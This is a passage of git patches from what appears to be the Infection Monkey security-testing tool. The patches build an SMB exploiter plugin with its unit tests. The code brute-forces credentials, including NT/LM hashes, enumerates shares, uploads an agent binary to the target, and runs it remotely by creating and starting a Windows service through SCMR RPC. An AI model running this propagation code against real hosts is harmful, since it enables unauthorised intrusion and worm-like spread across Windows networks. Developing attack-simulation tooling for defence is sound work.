agent to {host}") + return False + + if not self._propagation_client.run_agent(host, remote_path): + logger.debug(f"Failed to run agent on {host}") + return False + + return True + + def _brute_force( + self, host: TargetHost, options: SMBOptions, interrupt: Event + ) -> Optional[Credentials]: + credentials = self._propagation_credentials_repository.get_credentials() + credentials_list = generate_brute_force_credentials(credentials) + + for brute_force_credentials in interruptible_iter(credentials_list, interrupt): + if self._exploit_client.authenticate(host, options, brute_force_credentials): + return brute_force_credentials + + return None diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py index 90f72f4e689..bd25fc3182a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py @@ -1,12 +1,17 @@ import logging -from typing import Sequence +import ntpath +from io import BytesIO +from pathlib import PurePath +from typing import Any, Dict, Optional, Tuple + +from impacket.dcerpc.v5 import srvs, transport +from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from common.credentials import Credentials from common.event_queue import IAgentEventPublisher -from common.types import Event from infection_monkey.i_puppet import TargetHost -from .smb_options import SMBOptions +from .smb_utils import create_smb_connection, smb_login logger = logging.getLogger(__name__) @@ -18,26 +23,169 @@ class SMBPropagationClient: def __init__(self, agent_event_publisher: IAgentEventPublisher): self._agent_event_publisher = agent_event_publisher - def propagate( + def copy_file( self, host: TargetHost, - path: str, + file: BytesIO, + path: PurePath, credentials: Credentials, - servers: Sequence[str], - current_depth: int, - options: SMBOptions, - interrupt: Event, - ) -> bool: - """Do all of the propagation stuff""" - - if not self._run_agent(host, path): - logger.debug(f"Failed to run agent on {host}") - return False + ) -> Optional[str]: + if not self.query_server_info(): + return None - return True + shares = self.query_shares(host, path) + for remote_path, share_name, share_path in self.connected_shares(host, shares, credentials): + destination = self.copy_agent_binary(file, host, remote_path, share_name, share_path) + if destination: + return destination - def _run_agent(self, host, path: str): + return None + + def run_agent(self, host, path: str) -> bool: # - Create RPC connection # - Build agent run command # - Use RPC to run the agent on the victim - pass + return False + + def query_shares(self, host: TargetHost, path: PurePath): + resp = self._query_shared_resources() + if not resp: + return () + + high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () + low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () + file_name = path.name + + for i in range(len(resp)): + share_name = resp[i]["shi2_netname"].strip("\0 ") + share_path = resp[i]["shi2_path"].strip("\0 ") + current_uses = resp[i]["shi2_current_uses"] + max_uses = resp[i]["shi2_max_uses"] + + if current_uses >= max_uses: + logger.debug( + f"Skipping share '{share_name}' on victim %r because max uses is exceeded", + host, + ) + continue + elif not share_path: + logger.debug( + f"Skipping share '{share_name}' on victim %r because share path is invalid", + host, + ) + continue + + share_info = {"share_name": share_name, "share_path": share_path} + + if str(path).lower().startswith(share_path.lower()): + high_priority_shares += ((ntpath.sep + str(path)[len(share_path) :], share_info),) + + low_priority_shares += ((ntpath.sep + file_name, share_info),) + + return high_priority_shares + low_priority_shares + + def _query_shared_resources(self): + try: + shares = self._execute_rpc_call("hNetrShareEnum", 2) + except Exception as err: + logger.debug(f"Failed to query shared resources: {err}") + return None + + return shares + + def connected_shares(self, shares, host: TargetHost, credentials: Credentials): + """Yields a tuple of (remote_path, share_name, share_path) + Side effect: the SMBConnection is connected to the share""" + # Attempt to connect to a share over SMB + for remote_path, share in shares: + share_name = share["share_name"] + share_path = share["share_path"] + + # TODO: Do we really need to handle reconnects? + if not self._smb: + self.connect_with_user(host, credentials) + if not self._smb: + break + + try: + self._smb.connectTree(share_name) + except Exception as exc: + logger.error( + f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' + ) + continue + + yield remote_path, share_name, share_path + + def connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: + self._smb = create_smb_connection(host) + if not self._smb: + return False + + self._smb = smb_login(self._smb, credentials) + if not self._smb: + return False + + return True + + def copy_agent_binary( + self, + agent_binary: BytesIO, + host: TargetHost, + remote_path: str, + share_name: str, + share_path: str, + ) -> Optional[str]: + logger.debug( + f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", + share_path, + remote_path, + ) + + if not self._smb: + return None + + try: + # TODO: Use config timeout value + # self._smb.setTimeout(timeout) + self._smb.putFile(share_name, remote_path, agent_binary.read) + + logger.info( + f"Copied monkey agent to remote share '{share_name}' " + f"[{share_path}] on victim {host}" + ) + + return ntpath.join(share_path, remote_path.strip(ntpath.sep)) + except Exception as exc: + logger.error(f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}") + return None + + def query_server_info(self): + try: + info = self._execute_rpc_call("hNetrServerGetInfo", 102) + except Exception as err: + logger.debug(f"Failed to query server info: {err}") + return None + + return info + + def _execute_rpc_call(self, rpc_func: str, *args): + dce = self._get_dce_bind() + rpc_method_wrapper = getattr(srvs, rpc_func, None) + if not rpc_method_wrapper: + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) + + return rpc_method_wrapper(dce, *args) + + def _get_dce_bind(self) -> DCERPC_v5: + rpctransport = transport.SMBTransport( + self._smb.getRemoteHost(), + self._smb.getRemoteHost(), + filename=r"\srvsvc", + smb_connection=self._smb, + ) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return dce diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py index b3968a3e7d1..7f4a8408e9d 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py @@ -60,43 +60,3 @@ def logout_guest(smb: SMBConnection) -> bool: return True return False - - -def query_server_info(self, smb: SMBConnection): - try: - info = _execute_rpc_call(smb, "hNetrServerGetInfo", 102) - except Exception as err: - logger.debug(f"Failed to query server info: {err}") - return None - - return info - - -def query_shared_resources(smb: SMBConnection): - try: - shares = _execute_rpc_call(smb, "hNetrShareEnum", 2) - except Exception as err: - logger.debug(f"Failed to query shared resources: {err}") - return None - - return shares - - -def _execute_rpc_call(smb, rpc_func, *args): - dce = _get_dce_bind(smb) - rpc_method_wrapper = getattr(srvs, rpc_func, None) - if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) - - return rpc_method_wrapper(dce, *args) - - -def _get_dce_bind(smb: SMBConnection) -> DCERPC_v5: - rpctransport = transport.SMBTransport( - smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb - ) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return dce diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index 4ef4ffcfff6..fed2672e5dc 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -8,9 +8,11 @@ from agent_plugins.exploiters.smb.src.smb_exploiter import SMBExploiter from agent_plugins.exploiters.smb.src.smb_options import SMBOptions from agent_plugins.exploiters.smb.src.smb_propagation_client import SMBPropagationClient +from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS from common import OperatingSystem from common.credentials import Credentials +from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.i_puppet import TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository @@ -20,25 +22,36 @@ @pytest.fixture def mock_exploit_client() -> SMBExploitClient: client = MagicMock(spec=SMBExploitClient) - client.exploit.return_value = ("path", Credentials()) + client.authenticate.return_value = True return client @pytest.fixture def mock_propagation_client() -> SMBPropagationClient: client = MagicMock(spec=SMBPropagationClient) - client.propagate.return_value = True + client.copy_file.return_value = "path" + client.run_agent.return_value = True return client +@pytest.fixture +def mock_credentials_repository() -> IPropagationCredentialsRepository: + repository = MagicMock(spec=IPropagationCredentialsRepository) + repository.get_credentials.return_value = FULL_CREDENTIALS + return repository + + @pytest.fixture def smb_exploiter( - mock_exploit_client: SMBExploitClient, mock_propagation_client: SMBPropagationClient + mock_exploit_client: SMBExploitClient, + mock_propagation_client: SMBPropagationClient, + mock_credentials_repository: IPropagationCredentialsRepository, ) -> SMBExploiter: return SMBExploiter( mock_exploit_client, mock_propagation_client, - MagicMock(spec=IPropagationCredentialsRepository), + mock_credentials_repository, + MagicMock(spec=IAgentBinaryRepository), ) @@ -63,7 +76,7 @@ def test_exploit_host__exploit_succeeds(smb_exploiter: SMBExploiter, target_host def test_exploit_host__exploit_fails( smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, target_host: TargetHost ): - mock_exploit_client.exploit.return_value = None + mock_exploit_client.authenticate.return_value = False result = smb_exploiter.exploit_host( host=target_host, @@ -98,7 +111,7 @@ def test_exploit_host__propagation_fails( mock_propagation_client: SMBPropagationClient, target_host: TargetHost, ): - mock_propagation_client.propagate.return_value = False + mock_propagation_client.copy_file.return_value = None result = smb_exploiter.exploit_host( host=target_host, @@ -115,7 +128,6 @@ def test_exploit_host__propagation_fails( def test_exploit_host__exploit_skipped_on_interrupt( smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, target_host: TargetHost ): - mock_exploit_client.exploit.return_value = ("path", Credentials()) interrupt = Event() interrupt.set() @@ -127,4 +139,4 @@ def test_exploit_host__exploit_skipped_on_interrupt( interrupt=interrupt, ) - assert not mock_exploit_client.exploit.called + assert not mock_exploit_client.authenticate.called From df2f3793ba33473fb6f2f322eb75c556575dfcda Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Mar 2023 16:33:51 +0000 Subject: [PATCH 0732/1338] SMB: Handle potential errors from exploitation, propagation --- .../exploiters/smb/src/smb_exploiter.py | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 8fd6c35411d..be78cc5de40 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -41,15 +41,22 @@ def exploit_host( if interrupt.is_set(): return ExploiterResultData() - # TODO: Handle errors from exploit, propagate - credentials = self._exploit(host, options, interrupt) + try: + credentials = self._exploit(host, options, interrupt) + except Exception as err: + logger.exception(f"Failed to exploit {host}: {err}") + return ExploiterResultData() if not credentials: return ExploiterResultData() - if interrupt.is_set(): - return ExploiterResultData(exploitation_success=credentials is not None) - propagated = self._propagate(host, options, credentials, servers, current_depth, interrupt) - return ExploiterResultData(exploitation_success=True, propagation_success=propagated) + try: + propagated = self._propagate( + host, options, credentials, servers, current_depth, interrupt + ) + return ExploiterResultData(exploitation_success=True, propagation_success=propagated) + except Exception as err: + logger.exception(f"Failed to propagate to {host}: {err}") + return ExploiterResultData(exploitation_success=True) def _exploit( self, host: TargetHost, options: SMBOptions, interrupt: Event From 30b303d2b9b85ec3f05402b8de201505a6b234b7 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Mar 2023 16:48:43 +0000 Subject: [PATCH 0733/1338] UT: Add more SMB tests --- .../exploiters/smb/test_smb_exploiter.py | 59 ++++++++++++++++++- 1 file changed, 58 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index fed2672e5dc..59afc9586eb 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -106,7 +106,7 @@ def test_exploit_host__propagation_succeeds( assert result.propagation_success -def test_exploit_host__propagation_fails( +def test_exploit_host__copy_fails( smb_exploiter: SMBExploiter, mock_propagation_client: SMBPropagationClient, target_host: TargetHost, @@ -125,6 +125,63 @@ def test_exploit_host__propagation_fails( assert not result.propagation_success +def test_exploit_host__run_agent_fails( + smb_exploiter: SMBExploiter, + mock_propagation_client: SMBPropagationClient, + target_host: TargetHost, +): + mock_propagation_client.run_agent.return_value = False + + result = smb_exploiter.exploit_host( + host=target_host, + servers=[], + current_depth=1, + options=SMBOptions(), + interrupt=Event(), + ) + + assert result.exploitation_success + assert not result.propagation_success + + +def test_exploit_host__exploit_fails_on_authentication_error( + smb_exploiter: SMBExploiter, + mock_exploit_client: SMBExploitClient, + target_host: TargetHost, +): + mock_exploit_client.authenticate.side_effect = Exception() + + result = smb_exploiter.exploit_host( + host=target_host, + servers=[], + current_depth=1, + options=SMBOptions(), + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +def test_exploit_host__propagation_fails_on_run_agent_error( + smb_exploiter: SMBExploiter, + mock_propagation_client: SMBPropagationClient, + target_host: TargetHost, +): + mock_propagation_client.run_agent.side_effect = Exception() + + result = smb_exploiter.exploit_host( + host=target_host, + servers=[], + current_depth=1, + options=SMBOptions(), + interrupt=Event(), + ) + + assert result.exploitation_success + assert not result.propagation_success + + def test_exploit_host__exploit_skipped_on_interrupt( smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, target_host: TargetHost ): From 9f17622f9fc585aed75be69101258dbeb408eb71 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Mar 2023 16:48:43 +0000 Subject: [PATCH 0734/1338] UT: Add more SMB tests --- .../exploiters/smb/test_smb_exploiter.py | 87 +++++-------------- 1 file changed, 21 insertions(+), 66 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index 59afc9586eb..537cdba8827 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -13,7 +13,7 @@ from common import OperatingSystem from common.credentials import Credentials from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.i_puppet import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository CREDENTIALS: List[Credentials] = [] @@ -57,34 +57,34 @@ def smb_exploiter( @pytest.fixture def target_host() -> TargetHost: - return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) + return -def test_exploit_host__exploit_succeeds(smb_exploiter: SMBExploiter, target_host: TargetHost): - result = smb_exploiter.exploit_host( +def run_smb_exploiter( + smb_exploiter: SMBExploiter, interrupt: Event = Event() +) -> ExploiterResultData: + target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) + return smb_exploiter.exploit_host( host=target_host, servers=[], current_depth=1, options=SMBOptions(), - interrupt=Event(), + interrupt=interrupt, ) + +def test_exploit_host__exploit_succeeds(smb_exploiter: SMBExploiter): + result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success assert result.propagation_success def test_exploit_host__exploit_fails( - smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, target_host: TargetHost + smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient ): mock_exploit_client.authenticate.return_value = False - result = smb_exploiter.exploit_host( - host=target_host, - servers=[], - current_depth=1, - options=SMBOptions(), - interrupt=Event(), - ) + result = run_smb_exploiter(smb_exploiter) assert not result.exploitation_success assert not result.propagation_success @@ -92,15 +92,8 @@ def test_exploit_host__exploit_fails( def test_exploit_host__propagation_succeeds( smb_exploiter: SMBExploiter, - target_host: TargetHost, ): - result = smb_exploiter.exploit_host( - host=target_host, - servers=[], - current_depth=1, - options=SMBOptions(), - interrupt=Event(), - ) + result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success assert result.propagation_success @@ -109,18 +102,10 @@ def test_exploit_host__propagation_succeeds( def test_exploit_host__copy_fails( smb_exploiter: SMBExploiter, mock_propagation_client: SMBPropagationClient, - target_host: TargetHost, ): mock_propagation_client.copy_file.return_value = None - result = smb_exploiter.exploit_host( - host=target_host, - servers=[], - current_depth=1, - options=SMBOptions(), - interrupt=Event(), - ) - + result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success assert not result.propagation_success @@ -128,18 +113,10 @@ def test_exploit_host__copy_fails( def test_exploit_host__run_agent_fails( smb_exploiter: SMBExploiter, mock_propagation_client: SMBPropagationClient, - target_host: TargetHost, ): mock_propagation_client.run_agent.return_value = False - result = smb_exploiter.exploit_host( - host=target_host, - servers=[], - current_depth=1, - options=SMBOptions(), - interrupt=Event(), - ) - + result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success assert not result.propagation_success @@ -147,18 +124,10 @@ def test_exploit_host__run_agent_fails( def test_exploit_host__exploit_fails_on_authentication_error( smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, - target_host: TargetHost, ): mock_exploit_client.authenticate.side_effect = Exception() - result = smb_exploiter.exploit_host( - host=target_host, - servers=[], - current_depth=1, - options=SMBOptions(), - interrupt=Event(), - ) - + result = run_smb_exploiter(smb_exploiter) assert not result.exploitation_success assert not result.propagation_success @@ -166,34 +135,20 @@ def test_exploit_host__exploit_fails_on_authentication_error( def test_exploit_host__propagation_fails_on_run_agent_error( smb_exploiter: SMBExploiter, mock_propagation_client: SMBPropagationClient, - target_host: TargetHost, ): mock_propagation_client.run_agent.side_effect = Exception() - result = smb_exploiter.exploit_host( - host=target_host, - servers=[], - current_depth=1, - options=SMBOptions(), - interrupt=Event(), - ) - + result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success assert not result.propagation_success def test_exploit_host__exploit_skipped_on_interrupt( - smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, target_host: TargetHost + smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient ): interrupt = Event() interrupt.set() - smb_exploiter.exploit_host( - host=target_host, - servers=[], - current_depth=1, - options=SMBOptions(), - interrupt=interrupt, - ) - + result = run_smb_exploiter(smb_exploiter, interrupt) + assert result == ExploiterResultData() assert not mock_exploit_client.authenticate.called From e61994315bee7541ab020c5435238db6904f6b5b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Mar 2023 16:13:38 -0400 Subject: [PATCH 0735/1338] SMB: Change method order in SMBExploiter --- .../exploiters/smb/src/smb_exploiter.py | 24 +++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index be78cc5de40..1a7c58f3f94 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -65,6 +65,18 @@ def _exploit( return propagated_credentials + def _brute_force( + self, host: TargetHost, options: SMBOptions, interrupt: Event + ) -> Optional[Credentials]: + credentials = self._propagation_credentials_repository.get_credentials() + credentials_list = generate_brute_force_credentials(credentials) + + for brute_force_credentials in interruptible_iter(credentials_list, interrupt): + if self._exploit_client.authenticate(host, options, brute_force_credentials): + return brute_force_credentials + + return None + def _propagate( self, host: TargetHost, @@ -88,15 +100,3 @@ def _propagate( return False return True - - def _brute_force( - self, host: TargetHost, options: SMBOptions, interrupt: Event - ) -> Optional[Credentials]: - credentials = self._propagation_credentials_repository.get_credentials() - credentials_list = generate_brute_force_credentials(credentials) - - for brute_force_credentials in interruptible_iter(credentials_list, interrupt): - if self._exploit_client.authenticate(host, options, brute_force_credentials): - return brute_force_credentials - - return None From 86a5dc6887b1568b395d7a3fe92e6abebc162f1b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 09:02:48 +0100 Subject: [PATCH 0736/1338] SMB: Merge SMBExploiter.exploit and SMBExploiter._brute_force --- monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 1a7c58f3f94..e63fd64174b 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -60,13 +60,6 @@ def exploit_host( def _exploit( self, host: TargetHost, options: SMBOptions, interrupt: Event - ) -> Optional[Credentials]: - propagated_credentials = self._brute_force(host, options, interrupt) - - return propagated_credentials - - def _brute_force( - self, host: TargetHost, options: SMBOptions, interrupt: Event ) -> Optional[Credentials]: credentials = self._propagation_credentials_repository.get_credentials() credentials_list = generate_brute_force_credentials(credentials) From 30c03c07f08fd9279354af6f0cac7381d5b12ec6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Mar 2023 19:50:36 +0000 Subject: [PATCH 0737/1338] SMB: Implement run_agent() --- .../exploiters/smb/src/smb_exploiter.py | 4 +- .../smb/src/smb_propagation_client.py | 77 +++++++++++++++---- .../exploiters/smb/src/smb_utils.py | 33 +++++++- 3 files changed, 95 insertions(+), 19 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index e63fd64174b..3b006895cfd 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -88,7 +88,9 @@ def _propagate( logger.debug(f"Failed to copy agent to {host}") return False - if not self._propagation_client.run_agent(host, remote_path): + if not self._propagation_client.run_agent( + host, remote_path, destination_path, servers, current_depth, credentials, options + ): logger.debug(f"Failed to run agent on {host}") return False diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py index bd25fc3182a..d9e561694cc 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py @@ -2,21 +2,25 @@ import ntpath from io import BytesIO from pathlib import PurePath -from typing import Any, Dict, Optional, Tuple +from typing import Any, Dict, Optional, Sequence, Tuple -from impacket.dcerpc.v5 import srvs, transport +from impacket.dcerpc.v5 import scmr, srvs, transport from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from infection_monkey.i_puppet import TargetHost -from .smb_utils import create_smb_connection, smb_login +from .smb_command_builder import build_smb_command +from .smb_options import SMBOptions +from .smb_utils import create_smb_connection, rpc_connect, smb_login logger = logging.getLogger(__name__) -# TODO: Use the command builder, and pass it servers, current_depth +SERVICE_NAME = "InfectionMonkey" + + class SMBPropagationClient: """Manages the RPC/SMB connection, Propagation events""" @@ -41,11 +45,48 @@ def copy_file( return None - def run_agent(self, host, path: str) -> bool: - # - Create RPC connection - # - Build agent run command - # - Use RPC to run the agent on the victim - return False + def run_agent( + self, + host: TargetHost, + path: str, + dest_path: str, + servers: Sequence[str], + current_depth: int, + credentials: Credentials, + options: SMBOptions, + ) -> bool: + rpc = self._connect_rpc(host, credentials, options.smb_connect_timeout) + command = build_smb_command(servers, current_depth, path, dest_path) + + rpc.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(rpc) + sc_handle = resp["lpScHandle"] + + try: + resp = scmr.hRCreateServiceW( + rpc, + sc_handle, + SERVICE_NAME, + SERVICE_NAME, + lpBinaryPathName=command, + ) + except scmr.DCERPCSessionError as err: + if err.error_code == 0x431: + logger.debug(f"Service '{SERVICE_NAME}' already exists, trying to start it") + resp = scmr.hROpenServiceW(rpc, sc_handle, SERVICE_NAME) + else: + return False + + service_handle = resp["lpServiceHandle"] + try: + scmr.hRStartServiceW(rpc, service_handle) + except Exception: + return False + + scmr.hRDeleteService(rpc, service_handle) + scmr.hRCloseServiceHandle(rpc, service_handle) + + return True def query_shares(self, host: TargetHost, path: PurePath): resp = self._query_shared_resources() @@ -86,7 +127,7 @@ def query_shares(self, host: TargetHost, path: PurePath): def _query_shared_resources(self): try: - shares = self._execute_rpc_call("hNetrShareEnum", 2) + shares = self._execute_rpc_call(srvs.hNetrShareEnum, 2) except Exception as err: logger.debug(f"Failed to query shared resources: {err}") return None @@ -162,22 +203,21 @@ def copy_agent_binary( def query_server_info(self): try: - info = self._execute_rpc_call("hNetrServerGetInfo", 102) + info = self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) except Exception as err: logger.debug(f"Failed to query server info: {err}") return None return info - def _execute_rpc_call(self, rpc_func: str, *args): + def _execute_rpc_call(self, rpc_func, *args): + """Executes an RPC call using DCE/RPC""" dce = self._get_dce_bind() - rpc_method_wrapper = getattr(srvs, rpc_func, None) - if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) - return rpc_method_wrapper(dce, *args) + return rpc_func(dce, *args) def _get_dce_bind(self) -> DCERPC_v5: + """Creates a DCE/RPC connection over an existing SMB connection""" rpctransport = transport.SMBTransport( self._smb.getRemoteHost(), self._smb.getRemoteHost(), @@ -189,3 +229,8 @@ def _get_dce_bind(self) -> DCERPC_v5: dce.bind(srvs.MSRPC_UUID_SRVS) return dce + + def _connect_rpc(self, host, credentials, timeout): + return rpc_connect(host, 139, credentials, timeout) or rpc_connect( + host, 445, credentials, timeout + ) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py index 7f4a8408e9d..f28526c20b3 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py @@ -2,11 +2,11 @@ from typing import Type # SMB -from impacket.dcerpc.v5 import srvs, transport -from impacket.dcerpc.v5.rpcrt import DCERPC_v5 +from impacket.dcerpc.v5 import transport from impacket.smbconnection import SMB_DIALECT, SMBConnection from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext +from common.types import NetworkPort from infection_monkey.i_puppet import TargetHost logger = logging.getLogger(__name__) @@ -46,6 +46,35 @@ def smb_login(smb: SMBConnection, credentials: Credentials) -> bool: return True +def rpc_connect(self, host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: int): + """Connects to the remote host and returns the SMB connection""" + rpc_transport = transport.DCERPCTransportFactory(f"ncacn_np:{host.ip}[\\pipe\\svcctl]") + rpc_transport.set_connect_timeout(timeout) + rpc_transport.set_dport(port) + rpc_transport.setRemoteHost(str(host.ip)) + rpc_transport.set_credentials( + credentials.identity, + _secret_for_type(credentials, Password), + "", + _secret_for_type(credentials, LMHash), + _secret_for_type(credentials, NTHash), + ) + rpc_transport.set_kerberos(False) + + # Duplicate code + rpc = rpc_transport.get_dce_rpc() + try: + rpc.connect() + except Exception as err: + logger.debug(f"Failed to connect to {host} on port {port}: {err}") + return None + + smb = rpc.get_smb_connection() + smb.setTimeout(timeout) + + return None if smb is None else rpc + + def _secret_for_type(credentials: Credentials, secret_type: Type) -> str: return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" From e6fc3065d2d07fe9323662f01acf2f08f379cad8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Mar 2023 19:56:19 +0000 Subject: [PATCH 0738/1338] SMB: Pass timeout to copy_file() --- monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py | 2 +- .../exploiters/smb/src/smb_propagation_client.py | 9 ++++++--- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 3b006895cfd..3e5864b9320 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -82,7 +82,7 @@ def _propagate( destination_path = get_agent_dst_path(host) agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) remote_path = self._propagation_client.copy_file( - agent_binary, host, destination_path, credentials + agent_binary, host, destination_path, credentials, options ) if not remote_path: logger.debug(f"Failed to copy agent to {host}") diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py index d9e561694cc..94f291b88f2 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py @@ -33,13 +33,16 @@ def copy_file( file: BytesIO, path: PurePath, credentials: Credentials, + options: SMBOptions, ) -> Optional[str]: if not self.query_server_info(): return None shares = self.query_shares(host, path) for remote_path, share_name, share_path in self.connected_shares(host, shares, credentials): - destination = self.copy_agent_binary(file, host, remote_path, share_name, share_path) + destination = self.copy_agent_binary( + file, host, remote_path, share_name, share_path, options.agent_binary_upload_timeout + ) if destination: return destination @@ -176,6 +179,7 @@ def copy_agent_binary( remote_path: str, share_name: str, share_path: str, + timeout: int, ) -> Optional[str]: logger.debug( f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", @@ -187,8 +191,7 @@ def copy_agent_binary( return None try: - # TODO: Use config timeout value - # self._smb.setTimeout(timeout) + self._smb.setTimeout(timeout) self._smb.putFile(share_name, remote_path, agent_binary.read) logger.info( From d51a4baff9e95c9be556e2ad9687d10f5a522f78 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Mar 2023 20:04:55 +0000 Subject: [PATCH 0739/1338] SMB: Merge 